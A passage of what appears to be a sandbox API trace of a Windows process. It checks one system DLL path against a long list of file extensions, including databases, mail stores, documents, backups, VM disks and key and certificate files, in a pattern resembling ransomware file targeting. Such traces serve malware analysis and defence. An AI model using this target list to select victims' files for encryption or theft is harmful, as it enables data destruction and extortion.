[0110.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.db") returned 0 [0110.450] lstrlenA (lpString="*.db") returned 4 [0110.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0110.450] lstrlenA (lpString="*.dbf") returned 5 [0110.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0110.450] lstrlenA (lpString="*.myox") returned 6 [0110.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0110.450] lstrlenA (lpString="*.myo") returned 5 [0110.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0110.450] lstrlenA (lpString="*.qbw") returned 5 [0110.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0110.450] lstrlenA (lpString="*.qbb") returned 5 [0110.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0110.450] lstrlenA (lpString="*.qbm") returned 5 [0110.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0110.450] lstrlenA (lpString="*.qbo") returned 5 [0110.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0110.450] lstrlenA (lpString="*.qbx") returned 5 [0110.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0110.450] lstrlenA (lpString="*.qba") returned 5 [0110.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0110.451] lstrlenA (lpString="*.qby") returned 5 [0110.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0110.451] lstrlenA (lpString="*.qbj") returned 5 [0110.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0110.451] lstrlenA (lpString="*.ofx") returned 5 [0110.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0110.451] lstrlenA (lpString="*.qif") returned 5 [0110.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0110.451] lstrlenA (lpString="*.mye") returned 5 [0110.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0110.451] lstrlenA (lpString="*.mbox") returned 6 [0110.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0110.451] lstrlenA (lpString="*.eml") returned 5 [0110.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0110.451] lstrlenA (lpString="*.pst") returned 5 [0110.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0110.451] lstrlenA (lpString="*.ost") returned 5 [0110.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0110.451] lstrlenA (lpString="*.idx") returned 5 [0110.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0110.451] lstrlenA (lpString="*.dbx") returned 5 [0110.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0110.451] lstrlenA (lpString="*.sql") returned 5 [0110.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0110.452] lstrlenA (lpString="*.mdb") returned 5 [0110.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0110.452] lstrlenA (lpString="*.fdb") returned 5 [0110.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0110.452] lstrlenA (lpString="*.wab") returned 5 [0110.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0110.452] lstrlenA (lpString="*.dat") returned 5 [0110.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0110.452] lstrlenA (lpString="*.txt") returned 5 [0110.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0110.453] lstrlenA (lpString="*.jpeg") returned 6 [0110.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0110.453] lstrlenA (lpString="*.jpg") returned 5 [0110.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.png") returned 0 [0110.453] lstrlenA (lpString="*.png") returned 5 [0110.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.php") returned 0 [0110.453] lstrlenA (lpString="*.php") returned 5 [0110.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0110.453] lstrlenA (lpString="*.cs") returned 4 [0110.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0110.453] lstrlenA (lpString="*.cpp") returned 5 [0110.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0110.453] lstrlenA (lpString="*.rar") returned 5 [0110.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0110.453] lstrlenA (lpString="*.zip") returned 5 [0110.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.html") returned 0 [0110.453] lstrlenA (lpString="*.html") returned 6 [0110.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0110.453] lstrlenA (lpString="*.htm") returned 5 [0110.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0110.453] lstrlenA (lpString="*.xlsx") returned 6 [0110.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0110.453] lstrlenA (lpString="*.xls") returned 5 [0110.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0110.453] lstrlenA (lpString="*.mp4") returned 5 [0110.453] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0110.454] lstrlenA (lpString="*.ppt") returned 5 [0110.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0110.454] lstrlenA (lpString="*.pptx") returned 6 [0110.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0110.454] lstrlenA (lpString="*.doc") returned 5 [0110.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0110.454] lstrlenA (lpString="*.dot") returned 5 [0110.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0110.454] lstrlenA (lpString="*.docx") returned 6 [0110.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0110.454] lstrlenA (lpString="*.7z") returned 4 [0110.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0110.454] lstrlenA (lpString="*.tar") returned 5 [0110.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0110.454] lstrlenA (lpString="*.bz2") returned 5 [0110.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0110.454] lstrlenA (lpString="*.gz") returned 4 [0110.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0110.454] lstrlenA (lpString="*.mkv") returned 5 [0110.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0110.454] lstrlenA (lpString="*.eml") returned 5 [0110.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0110.454] lstrlenA (lpString="*.msg") returned 5 [0110.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0110.454] lstrlenA (lpString="*.edb") returned 5 [0110.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0110.455] lstrlenA (lpString="*.accdb") returned 7 [0110.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0110.455] lstrlenA (lpString="*.odb") returned 5 [0110.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.java") returned 0 [0110.455] lstrlenA (lpString="*.java") returned 6 [0110.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0110.455] lstrlenA (lpString="*.asm") returned 5 [0110.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0110.455] lstrlenA (lpString="*.pfx") returned 5 [0110.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0110.455] lstrlenA (lpString="*.pem") returned 5 [0110.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0110.455] lstrlenA (lpString="*.p12") returned 5 [0110.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0110.455] lstrlenA (lpString="*.gpg") returned 5 [0110.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0110.455] lstrlenA (lpString="*.vsd") returned 5 [0110.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0110.455] lstrlenA (lpString="*.odg") returned 5 [0110.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0110.455] lstrlenA (lpString="*.raw") returned 5 [0110.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0110.455] lstrlenA (lpString="*.nef") returned 5 [0110.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0110.455] lstrlenA (lpString="*.svg") returned 5 [0110.455] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0110.456] lstrlenA (lpString="*.psd") returned 5 [0110.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0110.456] lstrlenA (lpString="*.vmx") returned 5 [0110.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0110.456] lstrlenA (lpString="*.vmdk") returned 6 [0110.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0110.456] lstrlenA (lpString="*.vdi") returned 5 [0110.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0110.456] lstrlenA (lpString="*.lay6") returned 6 [0110.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0110.456] lstrlenA (lpString="*.mpeg") returned 6 [0110.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0110.456] lstrlenA (lpString="*.djvu") returned 6 [0110.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0110.456] lstrlenA (lpString="*.tiff") returned 6 [0110.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0110.456] lstrlenA (lpString="*.backup") returned 8 [0110.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0110.456] lstrlenA (lpString="*.pdf") returned 5 [0110.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0110.456] lstrlenA (lpString="*.cert") returned 6 [0110.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0110.456] lstrlenA (lpString="*.docm") returned 6 [0110.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0110.456] lstrlenA (lpString="*.xlsm") returned 6 [0110.456] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0110.457] lstrlenA (lpString="*.dwg") returned 5 [0110.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0110.457] lstrlenA (lpString="*.nd") returned 4 [0110.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0110.457] lstrlenA (lpString="*.tlg") returned 5 [0110.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0110.457] lstrlenA (lpString="*.lgb") returned 5 [0110.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0110.457] lstrlenA (lpString="*.mov") returned 5 [0110.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0110.457] lstrlenA (lpString="*.xdw") returned 5 [0110.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0110.457] lstrlenA (lpString="*.ods") returned 5 [0110.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0110.457] lstrlenA (lpString="*.wav") returned 5 [0110.457] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\585e8f83eff436c8156f071e8f2bdaa0\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0.ni.dll", 